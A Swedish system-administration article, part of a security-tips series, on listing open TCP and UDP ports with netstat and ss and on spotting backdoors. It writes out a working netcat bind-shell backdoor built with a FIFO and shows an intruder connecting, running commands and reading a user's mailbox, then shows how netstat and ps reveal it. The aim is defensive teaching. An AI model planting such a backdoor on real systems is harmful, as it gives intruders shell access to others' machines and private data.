Att hålla koll på öppna TCP- och UDP-portar är en viktig del av systemadministratörens arbete. Dels för att minimera antalet tjänster som inte behövs, men också för att hitta eventuella bakdörrar på systemet. Att sätta upp en enkel bakdörr med netcat är enkelt fixat för inkräktaren.

Blandade säkerhetstips – del 2

Det första steget i säkra upp en server är alltid att minimera attackytan. Ett sätt att göra detta på är att stänga ner alla oanvända nätverkstjänster. Publika nätverkstjänster löper alltid en risk att bli hackade. Det upptäcks säkerhetshål i de flesta tjänster med jämna mellanrum.

För bara några veckor sedan upptäcktes ett allvarligt säkerhetshål i Exim som gör att en angripare kan exekvera skadlig kod på maskinen. Exim är en känd e-postserver som används på miljontals datorer.

Lista öppna portar

Traditionellt har alltid kommandot netstat använts för att lista öppna portar på Linux och andra UNIX-system. Flaggorna -ltup används för att lista alla lyssnande TCP och UDP portar, samt vilka program det är som lyssnar på just de portarna. För att kunna se programmet som hör till respektive port måste du köra kommandot som root.

ANNONS

Nedanstående exempel är från ett Linuxsystem med några vanliga tjänster igång.

#> netstat -ltup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address          Foreign Address   State      PID/Program name
tcp        0      0 *:39272                *:*               LISTEN     544/rpc.statd   
tcp        0      0 *:10025                *:*               LISTEN     605/stunnel4    
tcp        0      0 localhost:mysql        *:*               LISTEN     1020/mysqld     
tcp        0      0 *:sunrpc               *:*               LISTEN     535/rpcbind     
tcp        0      0 *:ssh                  *:*               LISTEN     611/sshd        
tcp        0      0 localhost:smtp         *:*               LISTEN     1220/master     
tcp6       0      0 [::]:53604             [::]:*            LISTEN     544/rpc.statd   
tcp6       0      0 [::]:sunrpc            [::]:*            LISTEN     535/rpcbind     
tcp6       0      0 [::]:http              [::]:*            LISTEN     665/apache2     
tcp6       0      0 [::]:ssh               [::]:*            LISTEN     611/sshd        
tcp6       0      0 localhost:smtp         [::]:*            LISTEN     1220/master     
tcp6       0      0 [::]:https             [::]:*            LISTEN     665/apache2     
udp        0      0 *:710                  *:*                          535/rpcbind     
udp        0      0 localhost:720          *:*                          544/rpc.statd   
udp        0      0 *:13275                *:*                          480/dhclient    
udp        0      0 *:bootpc               *:*                          480/dhclient    
udp        0      0 *:sunrpc               *:*                          535/rpcbind     
udp        0      0 *:44228                *:*                          544/rpc.statd   
udp6       0      0 [::]:34456             [::]:*                       544/rpc.statd   
udp6       0      0 [::]:710               [::]:*                       535/rpcbind     
udp6       0      0 [::]:29641             [::]:*                       480/dhclient    
udp6       0      0 [::]:sunrpc            [::]:*                       535/rpcbind     

Det vi är intresserade av är de portar och tjänster som listas som LISTEN. Det är dessa portar som lyssnar efter inkommande anslutningar – således öppna portar. Men det är dock inte alla som listas som LISTEN som vi behöver oroa oss för. Exempelvis mysql och smtp i listan ovan lyssnar endast på gränssnittet localhost. Det betyder att de inte går att nå utifrån. För att ansluta sig till dessa tjänster behöver vi vara på samma fysiska maskin.

De publika tjänster som körs på systemet enligt listan ovan är bland annat webbservern Apache2 (både http och https), samt SSH. Både SSH och Apache2 lyssnar dessutom både på IPv4 (tcp) och IPv6 (tcp6).

I nyare Linuxutgåvor saknas dock ibland netstat-kommandot. Istället används kommandot ss med samma flaggor, alltså -ltup.

Bakdörrar

Men förutom att leta efter – och stänga av – oanvända tjänster, är det viktigt att hålla koll på öppna portar för att upptäcka bakdörrar. Som jag nämnde i del 1 av denna serien kommer jag inte gå igenom själva intrånget. Det finns många olika sätt som en inkräktare kan skapa bakdörrar och exekvera kommandon på systemet. Oftast sker det genom buggar i webbapplikationer.

Verktyget netcat finns i de flesta Linuxutgåvor idag, och är ett mycket användbart verktyg. I många fall har man dock kompilerat netcat så att flaggan -e har avaktiverats. Detta gör man av säkerhetsskäl för att någon av misstag inte ska öppna upp just bakdörrar. Flaggan -e används nämligen för att exekvera valfritt program, till exempel ett skal.

Men det går trots allt att exekvera skal genom netcat, och det är precis det som en inkräktare brukar göra. Med lite omdirigeringar och FIFO’s är det enkelt. För den som är nyfiken på vad en FIFO är för något har jag skrivit en artikel om just det.

Kom ihåg att det är den användaren som exekverar nedanstående kommandon som inkräktaren också loggar in med, med hjälp av sin bakdörr. Exekveras kommandona som root, har inkräktaren också root-rättigheter. Exekveras de genom webbservern Apache2 är det som användaren apache eller httpd som inkräktaren loggar in, beroende på vilken Linuxutgåva som körs.

Kom också ihåg att det bara är root som kan öppna portar lägre än 1024.

Målets maskin

ANNONS

$> mkfifo /tmp/mybackdoor
$> /bin/bash < /tmp/mybackdoor | netcat -l -p 9999 > /tmp/mybackdoor

Nu körs bakdörren (i det här fallet som en vanlig användare), och lyssnar på port 9999. Om jag nu kör en netstat -ltup igen kommer vi se bakdörren. Här använder jag grep för att endast visa de rader som innehåller ordet LISTEN.

#> netstat -ltup | grep LISTEN
tcp        0      0 *:39272               *:*               LISTEN    544/rpc.statd   
tcp        0      0 *:10025               *:*               LISTEN    605/stunnel4    
tcp        0      0 localhost:mysql       *:*               LISTEN    1020/mysqld     
tcp        0      0 *:9999                *:*               LISTEN    9369/netcat         
tcp        0      0 *:sunrpc              *:*               LISTEN    535/rpcbind     
tcp        0      0 *:ssh                 *:*               LISTEN    611/sshd        
tcp        0      0 localhost:smtp        *:*               LISTEN    1220/master     
tcp6       0      0 [::]:53604            [::]:*            LISTEN    544/rpc.statd   
tcp6       0      0 [::]:sunrpc           [::]:*            LISTEN    535/rpcbind     
tcp6       0      0 [::]:http             [::]:*            LISTEN    665/apache2     
tcp6       0      0 [::]:ssh              [::]:*            LISTEN    611/sshd        
tcp6       0      0 localhost:smtp        [::]:*            LISTEN    1220/master     
tcp6       0      0 [::]:https            [::]:*            LISTEN    665/apache2     

Här ser vi på rad 4 att port 9999 är öppen, och att programmet som lyssnar på porten är netcat. Vi ser också dess PID-nummer, 9369. Vill vi undersöka vidare kan vi kolla upp PID 9369 med ps.

#> ps uax | grep 9369
jake      9369  0.0  0.0   6332  1604 pts/0    S+   04:57   0:00 netcat -l -p 9999

Här ser vi att det är användaren jake som startat bakdörren, och att flaggorna som användes för netcat är -l -p 9999.

Inkräktarens maskin

Inkräktaren kan nu komma rakt in i målets maskin genom att ansluta sig till port 9999. Inkräktaren kan därefter göra allt som användaren jake har tillgång till. Läsa hans e-post, öppna filer, utforska systemet etc.

$> netcat 192.168.0.35 9999
whoami
jake
ls
index.php
mbox
head mbox
From root@testmachine.nixnet.jke  Fri Dec  4 17:15:01 2015
Return-Path: <root@testmachine.nixnet.jke>
X-Original-To: root
Delivered-To: root@testmachine.nixnet.jke
Received: by testmachine.nixnet.jke (Postfix, from userid 0)
        id 1C63C602E8; Fri,  4 Dec 2015 17:15:01 +0100 (CET)
From: lisa@testmachine.nixnet.jke
To: root@testmachine.nixnet.jke
Subject: "Saknar dig"
MIME-Version: 1.0

Om vi återgår till målets maskin, kan vi nu undersöka hur det ser ut i netstat under tiden anslutningen mellan inkräktaren och netcat-bakdörren är aktiv. Observera att här används andra flaggor. Den viktiga flaggan här är -a för all.

Målets maskin

#> netstat -tua | grep 9999
tcp        0      0 testmachine.nixnet.jke:9999     red.nixnet.jke:56282  ESTABLISHED

Här ser vi att anslutningen är aktiv, eller upprättad, established. Vi ser också namnen på de båda maskinerna, där testmachine är målets dator, alltså vår egna dator, och red är inkräktarens dator.


Kommentarer

Kommentarsfältet är modererat. Det innebär att alla kommentarer granskas av ansvarig utgivare före publicering.

Du väljer själv om du vill ange ditt riktiga namn, en pseudonym eller vara helt anonym. Ingen registrering behövs.